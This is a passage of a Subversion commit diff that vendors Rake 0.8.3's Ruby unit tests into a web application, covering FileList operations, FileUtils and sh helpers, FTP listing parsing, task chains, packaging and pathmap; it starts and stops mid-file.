+    assert_equal Array, r.class
+
+    r = f + b
+    assert_equal ['x', 'y', 'c', 'd'], r
+    assert_equal FileList, r.class
+
+    r = FileList['w', 'x', 'y', 'z'] - f
+    assert_equal ['w', 'z'], r
+    assert_equal FileList, r.class
+
+    r = FileList['w', 'x', 'y', 'z'] & f
+    assert_equal ['x', 'y'], r
+    assert_equal FileList, r.class
+
+    r = f * 2
+    assert_equal ['x', 'y', 'x', 'y'], r
+    assert_equal FileList, r.class
+
+    r = f * ','
+    assert_equal 'x,y', r
+    assert_equal String, r.class
+
+    r = f | ['a', 'x']
+    assert_equal ['a', 'x', 'y'].sort, r.sort
+    assert_equal FileList, r.class
+  end
+
+  def test_other_array_returning_methods
+    f = FileList['a', nil, 'b']
+    r = f.compact
+    assert_equal ['a', 'b'], r
+    assert_equal FileList, r.class
+
+    f = FileList['a', 'b']
+    r = f.concat(['x', 'y'])
+    assert_equal ['a', 'b', 'x', 'y'], r
+    assert_equal FileList, r.class
+
+    f = FileList['a', ['b', 'c'], FileList['d', 'e']]
+    r = f.flatten
+    assert_equal ['a', 'b', 'c', 'd', 'e'], r
+    assert_equal FileList, r.class
+
+    f = FileList['a', 'b', 'a']
+    r = f.uniq
+    assert_equal ['a', 'b'], r
+    assert_equal FileList, r.class
+
+    f = FileList['a', 'b', 'c', 'd']
+    r = f.values_at(1,3)
+    assert_equal ['b', 'd'], r
+    assert_equal FileList, r.class
+  end
+  
+  def test_file_utils_can_use_filelists
+    cfiles = FileList['testdata/*.c']
+    
+    cp cfiles, @cdir, :verbose => false
+    
+    assert File.exist?(File.join(@cdir, 'abc.c'))
+    assert File.exist?(File.join(@cdir, 'xyz.c'))
+    assert File.exist?(File.join(@cdir, 'x.c'))
+  end
+
+  def create_test_data
+    verbose(false) do
+      
+      mkdir "testdata" unless File.exist? "testdata"
+      mkdir "testdata/CVS" rescue nil
+      mkdir "testdata/.svn" rescue nil
+      @cdir = "testdata/cfiles"
+      mkdir @cdir rescue nil
+      touch "testdata/.dummy"
+      touch "testdata/x.bak"
+      touch "testdata/x~"
+      touch "testdata/core"
+      touch "testdata/x.c"
+      touch "testdata/xyz.c"
+      touch "testdata/abc.c"
+      touch "testdata/abc.h"
+      touch "testdata/abc.x"
+      touch "testdata/existing"
+    end
+  end
+  
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_fileutils.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_fileutils.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_fileutils.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,250 @@
+#!/usr/bin/env ruby
+
+require 'rake'
+require 'test/unit'
+require 'test/filecreation'
+require 'fileutils'
+require 'stringio'
+
+class TestFileUtils < Test::Unit::TestCase
+  include FileCreation
+
+  def setup
+    File.chmod(0750,"test/shellcommand.rb")
+  end
+  
+  def teardown
+    FileUtils.rm_rf("testdata")
+    FileUtils::LN_SUPPORTED[0] = true
+  end
+  
+  def test_rm_one_file
+    create_file("testdata/a")
+    FileUtils.rm_rf "testdata/a"
+    assert ! File.exist?("testdata/a")
+  end
+
+  def test_rm_two_files
+    create_file("testdata/a")
+    create_file("testdata/b")
+    FileUtils.rm_rf ["testdata/a", "testdata/b"]
+    assert ! File.exist?("testdata/a")
+    assert ! File.exist?("testdata/b")
+  end
+
+  def test_rm_filelist
+    list = Rake::FileList.new << "testdata/a" << "testdata/b"
+    list.each { |fn| create_file(fn) }
+    FileUtils.rm_r list
+    assert ! File.exist?("testdata/a")
+    assert ! File.exist?("testdata/b")
+  end
+
+  def test_ln
+    create_dir("testdata")
+    open("testdata/a", "w") { |f| f.puts "TEST_LN" }
+    RakeFileUtils.safe_ln("testdata/a", "testdata/b", :verbose => false)
+    assert_equal "TEST_LN\n", open("testdata/b") { |f| f.read }
+  end
+
+  class BadLink
+    include RakeFileUtils
+    attr_reader :cp_args
+    def initialize(klass)
+      @failure_class = klass
+    end
+    def cp(*args)
+      @cp_args = args
+    end
+    def ln(*args)
+      fail @failure_class, "ln not supported"
+    end
+    public :safe_ln
+  end
+
+  def test_safe_ln_failover_to_cp_on_standard_error
+    FileUtils::LN_SUPPORTED[0] = true
+    c = BadLink.new(StandardError)
+    c.safe_ln "a", "b"
+    assert_equal ['a', 'b'], c.cp_args
+    c.safe_ln "x", "y"
+    assert_equal ['x', 'y'], c.cp_args
+  end
+
+  def test_safe_ln_failover_to_cp_on_not_implemented_error
+    FileUtils::LN_SUPPORTED[0] = true
+    c = BadLink.new(NotImplementedError)
+    c.safe_ln "a", "b"
+    assert_equal ['a', 'b'], c.cp_args
+  end
+
+  def test_safe_ln_fails_on_script_error
+    FileUtils::LN_SUPPORTED[0] = true
+    c = BadLink.new(ScriptError)
+    assert_raise(ScriptError) do c.safe_ln "a", "b" end
+  end
+
+  def test_verbose
+    verbose true
+    assert_equal true, verbose
+    verbose false
+    assert_equal false, verbose
+    verbose(true) {
+      assert_equal true, verbose
+    }
+    assert_equal false, verbose
+  end
+
+  def test_nowrite
+    nowrite true
+    assert_equal true, nowrite
+    nowrite false
+    assert_equal false, nowrite
+    nowrite(true){
+      assert_equal true, nowrite
+    }
+    assert_equal false, nowrite
+  end
+
+  def test_file_utils_methods_are_available_at_top_level
+    create_file("testdata/a")
+    rm_rf "testdata/a"
+    assert ! File.exist?("testdata/a")
+  end
+
+  def test_fileutils_methods_dont_leak
+    obj = Object.new
+    assert_raise(NoMethodError) { obj.copy } # from FileUtils
+    assert_raise(NoMethodError) { obj.ruby } # from RubyFileUtils
+  end
+
+  def test_sh
+    verbose(false) { sh %{ruby test/shellcommand.rb} }
+    assert true, "should not fail"
+  end
+
+  def test_sh_multiple_arguments
+    ENV['RAKE_TEST_SH'] = 'someval'
+    expanded = windows? ? '%RAKE_TEST_SH%' : '$RAKE_TEST_SH'
+    # This one gets expanded by the shell
+    verbose(false) { sh %{ruby test/check_expansion.rb #{expanded} someval} }
+    assert true, "should not fail"
+    assert_raises(RuntimeError) {
+      # This one does not get expanded
+      verbose(false) { sh 'ruby', 'test/check_expansion.rb', expanded, 'someval' }
+    }
+  end
+
+  def test_sh_failure
+    assert_raises(RuntimeError) { 
+      verbose(false) { sh %{ruby test/shellcommand.rb 1} }
+    }
+  end
+
+  def test_sh_special_handling
+    count = 0
+    verbose(false) {
+      sh(%{ruby test/shellcommand.rb}) do |ok, res|
+        assert(ok)
+        assert_equal 0, res.exitstatus
+        count += 1
+      end
+      sh(%{ruby test/shellcommand.rb 1}) do |ok, res|
+        assert(!ok)
+        assert_equal 1, res.exitstatus
+        count += 1
+      end
+    }
+    assert_equal 2, count, "Block count should be 2"
+  end
+
+  def test_sh_noop
+    verbose(false) { sh %{test/shellcommand.rb 1}, :noop=>true }
+    assert true, "should not fail"
+  end
+
+  def test_sh_bad_option
+    ex = assert_raise(ArgumentError) {
+      verbose(false) { sh %{test/shellcommand.rb}, :bad_option=>true }
+    }
+    assert_match(/bad_option/, ex.message)
+  end
+
+  def test_sh_verbose
+    out = redirect_stderr {
+      verbose(true) {
+        sh %{test/shellcommand.rb}, :noop=>true
+      }
+    }
+    assert_match(/^test\/shellcommand\.rb$/, out)
+  end
+
+  def test_sh_no_verbose
+    out = redirect_stderr {
+      verbose(false) {
+        sh %{test/shellcommand.rb}, :noop=>true
+      }
+    }
+    assert_equal '', out
+  end
+
+  def test_sh_default_is_no_verbose
+    out = redirect_stderr {
+      sh %{test/shellcommand.rb}, :noop=>true
+    }
+    assert_equal '', out
+  end
+
+  def test_ruby
+    verbose(false) do
+      ENV['RAKE_TEST_RUBY'] = "123"
+      block_run = false
+      # This one gets expanded by the shell
+      env_var = windows? ? '%RAKE_TEST_RUBY%' : '$RAKE_TEST_RUBY'
+      ruby %{-e "exit #{env_var}"} do |ok, status| # " (emacs wart)
+        assert(!ok)
+        assert_equal 123, status.exitstatus
+        block_run = true
+      end
+      assert block_run, "The block must be run"
+
+      if windows?
+        puts "SKIPPING test_ruby/part 2 when in windows"
+      else
+        # This one does not get expanded
+        block_run = false
+        ruby '-e', %{exit "#{env_var}".length} do |ok, status| # " (emacs wart)
+          assert(!ok)
+          assert_equal 15, status.exitstatus
+          block_run = true
+        end
+        assert block_run, "The block must be run"
+      end
+    end
+  end
+
+  def test_split_all
+    assert_equal ['a'], RakeFileUtils.split_all('a')
+    assert_equal ['..'], RakeFileUtils.split_all('..')
+    assert_equal ['/'], RakeFileUtils.split_all('/')
+    assert_equal ['a', 'b'], RakeFileUtils.split_all('a/b')
+    assert_equal ['/', 'a', 'b'], RakeFileUtils.split_all('/a/b')
+    assert_equal ['..', 'a', 'b'], RakeFileUtils.split_all('../a/b')
+  end
+
+  private
+  
+  def redirect_stderr
+    old_err = $stderr
+    $stderr = StringIO.new
+    yield
+    $stderr.string
+  ensure
+    $stderr = old_err
+  end
+
+  def windows?
+    ! File::ALT_SEPARATOR.nil?
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_ftp.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_ftp.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_ftp.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,59 @@
+#!/usr/bin/env ruby
+
+require 'date'
+require 'time'
+require 'test/unit'
+require 'rake/contrib/ftptools'
+
+class FakeDate
+  def self.today
+    Date.new(2003,10,3)
+  end
+  def self.now
+    Time.local(2003,10,3,12,00,00)
+  end
+end
+
+
+class TestFtpFile < Test::Unit::TestCase
+
+  def setup
+    Rake::FtpFile.class_eval { @date_class = FakeDate; @time_class = FakeDate }
+  end
+
+  def test_general
+    file = Rake::FtpFile.new("here", "-rw-r--r--   1 a279376  develop   121770 Mar  6 14:50 wiki.pl")
+    assert_equal "wiki.pl", file.name
+    assert_equal "here/wiki.pl", file.path
+    assert_equal "a279376", file.owner
+    assert_equal "develop", file.group
+    assert_equal 0644, file.mode
+    assert_equal 121770, file.size
+    assert_equal Time.mktime(2003,3,6,14,50,0,0), file.time
+    assert ! file.directory?
+    assert ! file.symlink?
+  end
+
+  def test_far_date
+    file = Rake::FtpFile.new(".", "drwxr-xr-x   3 a279376  develop     4096 Nov 26  2001 vss")
+    assert_equal Time.mktime(2001,11,26,0,0,0,0), file.time
+  end
+
+  def test_close_date
+    file = Rake::FtpFile.new(".", "drwxr-xr-x   3 a279376  develop     4096 Nov 26 15:35 vss")
+    assert_equal Time.mktime(2002,11,26,15,35,0,0), file.time
+  end
+
+  def test_directory
+    file = Rake::FtpFile.new(".", "drwxrwxr-x   9 a279376  develop     4096 Mar 13 14:32 working")
+    assert file.directory?
+    assert !file.symlink?
+  end
+
+  def test_symlink
+    file = Rake::FtpFile.new(".", "lrwxrwxrwx   1 a279376  develop       64 Mar 26  2002 xtrac -> /home/a279376/working/ics/development/java/com/fmr/fwp/ics/xtrac")
+    assert_equal 'xtrac', file.name
+    assert file.symlink?
+    assert !file.directory?
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_invocation_chain.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_invocation_chain.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_invocation_chain.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,75 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+######################################################################
+class TestAnEmptyInvocationChain < Test::Unit::TestCase
+
+  def setup
+    @empty = Rake::InvocationChain::EMPTY
+  end
+
+  def test_should_be_able_to_add_members
+    assert_nothing_raised do
+      @empty.append("A")
+    end
+  end
+
+  def test_to_s
+    assert_equal "TOP", @empty.to_s
+  end
+end
+
+######################################################################
+class TestAnInvocationChainWithOneMember < Test::Unit::TestCase
+  def setup
+    @empty = Rake::InvocationChain::EMPTY
+    @first_member = "A"
+    @chain = @empty.append(@first_member)
+  end
+
+  def test_should_report_first_member_as_a_member
+    assert @chain.member?(@first_member)
+  end
+
+  def test_should_fail_when_adding_original_member
+    ex = assert_raise RuntimeError do
+      @chain.append(@first_member)
+    end
+    assert_match(/circular +dependency/i, ex.message)
+    assert_match(/A.*=>.*A/, ex.message)
+  end
+
+  def test_to_s
+    assert_equal "TOP => A", @chain.to_s
+  end
+
+end
+
+######################################################################
+class TestAnInvocationChainWithMultipleMember < Test::Unit::TestCase
+  def setup
+    @first_member = "A"
+    @second_member = "B"
+    ch = Rake::InvocationChain::EMPTY.append(@first_member)
+    @chain = ch.append(@second_member)
+  end
+
+  def test_should_report_first_member_as_a_member
+    assert @chain.member?(@first_member)
+  end
+
+  def test_should_report_second_member_as_a_member
+    assert @chain.member?(@second_member)
+  end
+
+  def test_should_fail_when_adding_original_member
+    ex = assert_raise RuntimeError do
+      @chain.append(@first_member)
+    end
+    assert_match(/A.*=>.*B.*=>.*A/, ex.message)
+  end
+end
+
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_makefile_loader.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_makefile_loader.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_makefile_loader.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,25 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+require 'rake/loaders/makefile'
+
+class TestMakefileLoader < Test::Unit::TestCase
+  include Rake
+
+  def test_parse
+    Task.clear
+    loader = Rake::MakefileLoader.new
+    loader.load("test/data/sample.mf")
+    %w(a b c d).each do |t|
+      assert Task.task_defined?(t), "#{t} should be a defined task"
+    end
+    assert_equal %w(a1 a2 a3 a4 a5 a6 a7).sort, Task['a'].prerequisites.sort
+    assert_equal %w(b1 b2 b3 b4 b5 b6 b7).sort, Task['b'].prerequisites.sort
+    assert_equal %w(c1).sort, Task['c'].prerequisites.sort
+    assert_equal %w(d1 d2).sort, Task['d'].prerequisites.sort
+    assert_equal %w(e1 f1).sort, Task['e'].prerequisites.sort
+    assert_equal %w(e1 f1).sort, Task['f'].prerequisites.sort
+    assert_equal 6, Task.tasks.size
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_multitask.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_multitask.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_multitask.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,45 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+######################################################################
+class TestMultiTask < Test::Unit::TestCase
+  include Rake
+
+  def setup
+    Task.clear
+    @runs = Array.new
+  end
+
+  def test_running_multitasks
+    task :a do 3.times do |i| @runs << "A#{i}"; sleep 0.01; end end
+    task :b do 3.times do |i| @runs << "B#{i}"; sleep 0.01;  end end
+    multitask :both => [:a, :b]
+    Task[:both].invoke
+    assert_equal 6, @runs.size
+    assert @runs.index("A0") < @runs.index("A1")
+    assert @runs.index("A1") < @runs.index("A2")
+    assert @runs.index("B0") < @runs.index("B1")
+    assert @runs.index("B1") < @runs.index("B2")
+  end
+
+  def test_all_multitasks_wait_on_slow_prerequisites
+    task :slow do 3.times do |i| @runs << "S#{i}"; sleep 0.05 end end
+    task :a => [:slow] do 3.times do |i| @runs << "A#{i}"; sleep 0.01 end end
+    task :b => [:slow] do 3.times do |i| @runs << "B#{i}"; sleep 0.01 end end
+    multitask :both => [:a, :b]
+    Task[:both].invoke
+    assert_equal 9, @runs.size
+    assert @runs.index("S0") < @runs.index("S1")
+    assert @runs.index("S1") < @runs.index("S2")
+    assert @runs.index("S2") < @runs.index("A0")
+    assert @runs.index("S2") < @runs.index("B0")
+    assert @runs.index("A0") < @runs.index("A1")
+    assert @runs.index("A1") < @runs.index("A2")
+    assert @runs.index("B0") < @runs.index("B1")
+    assert @runs.index("B1") < @runs.index("B2")
+  end
+end
+
+ 

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_namespace.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_namespace.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_namespace.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,36 @@
+#!/usr/bin/env ruby
+
+begin
+  require 'rubygems'
+rescue LoadError
+  # got no gems
+end
+
+require 'test/unit'
+require 'flexmock/test_unit'
+require 'rake'
+
+class TestNameSpace < Test::Unit::TestCase
+
+  def test_namespace_creation
+    mgr = flexmock("TaskManager")
+    ns = Rake::NameSpace.new(mgr, [])
+    assert_not_nil ns
+  end
+
+  def test_namespace_lookup
+    mgr = flexmock("TaskManager")
+    mgr.should_receive(:lookup).with(:t, ["a"]).
+      and_return(:dummy).once
+    ns = Rake::NameSpace.new(mgr, ["a"])
+    assert_equal :dummy, ns[:t]
+  end
+
+  def test_namespace_reports_tasks_it_owns
+    mgr = flexmock("TaskManager")
+    mgr.should_receive(:tasks).with().
+      and_return([:x, :y, :z]).once
+    ns = Rake::NameSpace.new(mgr, ["a"])
+    assert_equal [:x, :y, :z], ns.tasks
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_package_task.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_package_task.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_package_task.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,116 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake/packagetask'
+
+class TestPackageTask < Test::Unit::TestCase
+  include Rake
+
+  def test_create
+    pkg = Rake::PackageTask.new("pkgr", "1.2.3") { |p|
+      p.package_files << "install.rb"
+      p.package_files.include(
+        '[A-Z]*',
+        'bin/**/*',
+        'lib/**/*.rb',
+        'test/**/*.rb',
+        'doc/**/*',
+        'build/rubyapp.rb',
+        '*.blurb')
+      p.package_files.exclude(/\bCVS\b/)
+      p.package_files.exclude(/~$/)
+      p.package_dir = 'pkg'
+      p.need_tar = true
+      p.need_tar_gz = true
+      p.need_tar_bz2 = true
+      p.need_zip = true
+    }
+    assert_equal "pkg", pkg.package_dir
+    assert pkg.package_files.include?("bin/rake")
+    assert "pkgr", pkg.name
+    assert "1.2.3", pkg.version
+    assert Task[:package]
+    assert Task['pkg/pkgr-1.2.3.tgz']
+    assert Task['pkg/pkgr-1.2.3.tar.gz']
+    assert Task['pkg/pkgr-1.2.3.tar.bz2']
+    assert Task['pkg/pkgr-1.2.3.zip']
+    assert Task["pkg/pkgr-1.2.3"]
+    assert Task[:clobber_package]
+    assert Task[:repackage]
+  end
+
+  def test_missing_version
+    assert_raises(RuntimeError) {
+      pkg = Rake::PackageTask.new("pkgr") { |p| }
+    }
+  end
+
+  def test_no_version
+    pkg = Rake::PackageTask.new("pkgr", :noversion) { |p| }
+    assert "pkgr", pkg.send(:package_name)
+  end
+
+  def test_clone
+    pkg = Rake::PackageTask.new("x", :noversion)
+    p2 = pkg.clone
+    pkg.package_files << "y"
+    p2.package_files << "x"
+    assert_equal ["y"], pkg.package_files
+    assert_equal ["x"], p2.package_files
+  end
+end
+
+
+begin
+  require 'rubygems'
+  require 'rake/gempackagetask'
+rescue Exception
+  puts "WARNING: RubyGems not installed"
+end
+
+if ! defined?(Gem)
+  puts "WARNING: Unable to test GemPackaging ... requires RubyGems"
+else
+  class TestGemPackageTask < Test::Unit::TestCase
+    def test_gem_package
+      gem = Gem::Specification.new do |g|
+        g.name = "pkgr"
+        g.version = "1.2.3"
+        g.files = FileList["x"].resolve
+      end
+      pkg = Rake::GemPackageTask.new(gem)  do |p|
+        p.package_files << "y"
+      end
+      assert_equal ["x", "y"], pkg.package_files
+      assert_equal "pkgr-1.2.3.gem", pkg.gem_file
+    end
+
+    def test_gem_package_with_current_platform
+      gem = Gem::Specification.new do |g|
+        g.name = "pkgr"
+        g.version = "1.2.3"
+        g.files = FileList["x"].resolve
+        g.platform = Gem::Platform::CURRENT
+      end
+      pkg = Rake::GemPackageTask.new(gem)  do |p|
+        p.package_files << "y"
+      end
+      assert_equal ["x", "y"], pkg.package_files
+      assert_match(/^pkgr-1\.2\.3-(\S+)\.gem$/, pkg.gem_file)
+    end
+
+    def test_gem_package_with_ruby_platform
+      gem = Gem::Specification.new do |g|
+        g.name = "pkgr"
+        g.version = "1.2.3"
+        g.files = FileList["x"].resolve
+        g.platform = Gem::Platform::RUBY
+      end
+      pkg = Rake::GemPackageTask.new(gem)  do |p|
+        p.package_files << "y"
+      end
+      assert_equal ["x", "y"], pkg.package_files
+      assert_equal "pkgr-1.2.3.gem", pkg.gem_file
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_pathmap.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_pathmap.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/test/test_pathmap.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,209 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'rake'
+
+# ====================================================================
+class TestPathMap < Test::Unit::TestCase
+
+  def test_returns_self_with_no_args
+    assert_equal "abc.rb", "abc.rb".pathmap
+  end
+
+  def test_s_returns_file_separator
+    sep = File::ALT_SEPARATOR || File::SEPARATOR
+    assert_equal sep, "abc.rb".pathmap("%s")
+    assert_equal sep, "".pathmap("%s")
+    assert_equal "a#{sep}b", "a/b".pathmap("%d%s%f")
+  end
+
+  def test_f_returns_basename
+    assert_equal "abc.rb", "abc.rb".pathmap("%f")
+    assert_equal "abc.rb", "this/is/a/dir/abc.rb".pathmap("%f")
+    assert_equal "abc.rb", "/this/is/a/dir/abc.rb".pathmap("%f")
+  end
+
+  def test_n_returns_basename_without_extension
+    assert_equal "abc", "abc.rb".pathmap("%n")
+    assert_equal "abc", "abc".pathmap("%n") 
+    assert_equal "abc", "this/is/a/dir/abc.rb".pathmap("%n")
+    assert_equal "abc", "/this/is/a/dir/abc.rb".pathmap("%n")
+    assert_equal "abc", "/this/is/a/dir/abc".pathmap("%n")
+  end
+
+  def test_d_returns_dirname
+    assert_equal ".", "abc.rb".pathmap("%d")
+    assert_equal "/", "/abc".pathmap("%d")
+    assert_equal "this/is/a/dir", "this/is/a/dir/abc.rb".pathmap("%d")
+    assert_equal "/this/is/a/dir", "/this/is/a/dir/abc.rb".pathmap("%d")
+  end
+
+  def test_9d_returns_partial_dirname
+    assert_equal "this/is", "this/is/a/dir/abc.rb".pathmap("%2d")
+    assert_equal "this", "this/is/a/dir/abc.rb".pathmap("%1d")
+    assert_equal ".", "this/is/a/dir/abc.rb".pathmap("%0d")
+    assert_equal "dir", "this/is/a/dir/abc.rb".pathmap("%-1d")
+    assert_equal "a/dir", "this/is/a/dir/abc.rb".pathmap("%-2d")
+    assert_equal "this/is/a/dir", "this/is/a/dir/abc.rb".pathmap("%100d")
+    assert_equal "this/is/a/dir", "this/is/a/dir/abc.rb".pathmap("%-100d")
+  end
+
+  def test_x_returns_extension
+    assert_equal "", "abc".pathmap("%x")
+    assert_equal ".rb", "abc.rb".pathmap("%x")
+    assert_equal ".rb", "abc.xyz.rb".pathmap("%x")
+    assert_equal "", ".depends".pathmap("%x")
+    assert_equal "", "dir/.depends".pathmap("%x")
+  end
+
+  def test_X_returns_everything_but_extension
+    assert_equal "abc", "abc".pathmap("%X")
+    assert_equal "abc", "abc.rb".pathmap("%X")
+    assert_equal "abc.xyz", "abc.xyz.rb".pathmap("%X")
+    assert_equal "ab.xyz", "ab.xyz.rb".pathmap("%X")
+    assert_equal "a.xyz", "a.xyz.rb".pathmap("%X")
+    assert_equal "abc", "abc.rb".pathmap("%X")
+    assert_equal "ab", "ab.rb".pathmap("%X")
+    assert_equal "a", "a.rb".pathmap("%X")
+    assert_equal ".depends", ".depends".pathmap("%X")
+    assert_equal "a/dir/.depends", "a/dir/.depends".pathmap("%X")
+    assert_equal "/.depends", "/.depends".pathmap("%X")
+  end
+
+  def test_p_returns_entire_pathname
+    assert_equal "abc.rb", "abc.rb".pathmap("%p")
+    assert_equal "this/is/a/dir/abc.rb", "this/is/a/dir/abc.rb".pathmap("%p")
+    assert_equal "/this/is/a/dir/abc.rb", "/this/is/a/dir/abc.rb".pathmap("%p")
+  end
+
+  def test_dash_returns_empty_string
+    assert_equal "", "abc.rb".pathmap("%-")
+    assert_equal "abc.rb", "abc.rb".pathmap("%X%-%x")
+  end
+
+  def test_percent_percent_returns_percent
+    assert_equal "a%b", "".pathmap("a%%b")
+  end
+
+  def test_undefined_percent_causes_error
+    ex = assert_raise(ArgumentError) {
+      "dir/abc.rb".pathmap("%z")
+    }
+  end
+
+  def test_pattern_returns_substitutions
+    assert_equal "bin/org/osb",
+      "src/org/osb/Xyz.java".pathmap("%{src,bin}d")
+  end
+
+  def test_pattern_can_use_backreferences
+    assert_equal "dir/hi/is", "dir/this/is".pathmap("%{t(hi)s,\\1}p")
+  end
+
+  def test_pattern_with_star_replacement_string_uses_block
+    assert_equal "src/ORG/osb",
+      "src/org/osb/Xyz.java".pathmap("%{/org,*}d") { |d| d.upcase }
+    assert_equal "Xyz.java",
+      "src/org/osb/Xyz.java".pathmap("%{.*,*}f") { |f| f.capitalize }
+  end
+
+  def test_pattern_with_no_replacement_nor_block_substitutes_empty_string
+    assert_equal "bc.rb", "abc.rb".pathmap("%{a}f")
+  end
+
+  def test_pattern_works_with_certain_valid_operators
+    assert_equal "dir/xbc.rb", "dir/abc.rb".pathmap("%{a,x}p")
+    assert_equal "d1r", "dir/abc.rb".pathmap("%{i,1}d")
+    assert_equal "xbc.rb", "dir/abc.rb".pathmap("%{a,x}f")
+    assert_equal ".Rb", "dir/abc.rb".pathmap("%{r,R}x")
+    assert_equal "xbc", "dir/abc.rb".pathmap("%{a,x}n")
+  end
+
+  def test_multiple_patterns
+    assert_equal "this/is/b/directory/abc.rb",
+      "this/is/a/dir/abc.rb".pathmap("%{a,b;dir,\\0ectory}p")
+  end
+
+  def test_partial_directory_selection_works_with_patterns
+    assert_equal "this/is/a/long",
+      "this/is/a/really/long/path/ok.rb".pathmap("%{/really/,/}5d")
+  end
+
+  def test_pattern_with_invalid_operator
+    ex = assert_raise(ArgumentError) do
+      "abc.xyz".pathmap("%{src,bin}z")
+    end
+    assert_match(/unknown.*pathmap.*spec.*z/i, ex.message)
+  end
+
+  def test_works_with_windows_separators
+    if File::ALT_SEPARATOR
+      assert_equal "abc", 'dir\abc.rb'.pathmap("%n")
+      assert_equal 'this\is\a\dir',
+        'this\is\a\dir\abc.rb'.pathmap("%d")
+    end
+  end
+
+  def test_complex_patterns
+    sep = "".pathmap("%s")
+    assert_equal "dir/abc.rb", "dir/abc.rb".pathmap("%d/%n%x")
+    assert_equal "./abc.rb", "abc.rb".pathmap("%d/%n%x")
+    assert_equal "Your file extension is '.rb'",
+      "dir/abc.rb".pathmap("Your file extension is '%x'")
+    assert_equal "bin/org/onstepback/proj/A.class",
+      "src/org/onstepback/proj/A.java".pathmap("%{src,bin}d/%n.class")
+    assert_equal "src_work/bin/org/onstepback/proj/A.class",
+      "src_work/src/org/onstepback/proj/A.java".pathmap('%{\bsrc\b,bin}X.class')
+    assert_equal ".depends.bak", ".depends".pathmap("%X.bak")
+    assert_equal "d#{sep}a/b/c#{sep}file.txt", "a/b/c/d/file.txt".pathmap("%-1d%s%3d%s%f")
+  end
+end
+
+class TestPathMapExplode < Test::Unit::TestCase
+  def setup
+    String.class_eval { public :pathmap_explode }
+  end
+
+  def teardown
+    String.class_eval { protected :pathmap_explode }
+  end
+
+  def test_explode
+    assert_equal ['a'], 'a'.pathmap_explode
+    assert_equal ['a', 'b'], 'a/b'.pathmap_explode
+    assert_equal ['a', 'b', 'c'], 'a/b/c'.pathmap_explode
+    assert_equal ['/', 'a'], '/a'.pathmap_explode
+    assert_equal ['/', 'a', 'b'], '/a/b'.pathmap_explode
+    assert_equal ['/', 'a', 'b', 'c'], '/a/b/c'.pathmap_explode
+    if File::ALT_SEPARATOR
+      assert_equal ['c:.', 'a'], 'c:a'.pathmap_explode
+      assert_equal ['c:.', 'a', 'b'], 'c:a/b'.pathmap_explode
+      assert_equal ['c:.', 'a', 'b', 'c'], 'c:a/b/c'.pathmap_explode
+      assert_equal ['c:/', 'a'], 'c:/a'.pathmap_explode
+      assert_equal ['c:/', 'a', 'b'], 'c:/a/b'.pathmap_explode
+      assert_equal ['c:/', 'a', 'b', 'c'], 'c:/a/b/c'.pathmap_explode
+    end
+  end
+end
+
+class TestPathMapPartial < Test::Unit::TestCase
+  def test_pathmap_partial
+    @path = "1/2/file"
+    def @path.call(n)
+      pathmap_partial(n)
+    end
+    assert_equal("1", @path.call(1))
+    assert_equal("1/2", @path.call(2))
+    assert_equal("1/2", @path.call(3))
+    assert_equal(".", @path.call(0))
+    assert_equal("2", @path.call(-1))
+    assert_equal("1/2", @path.call(-2))
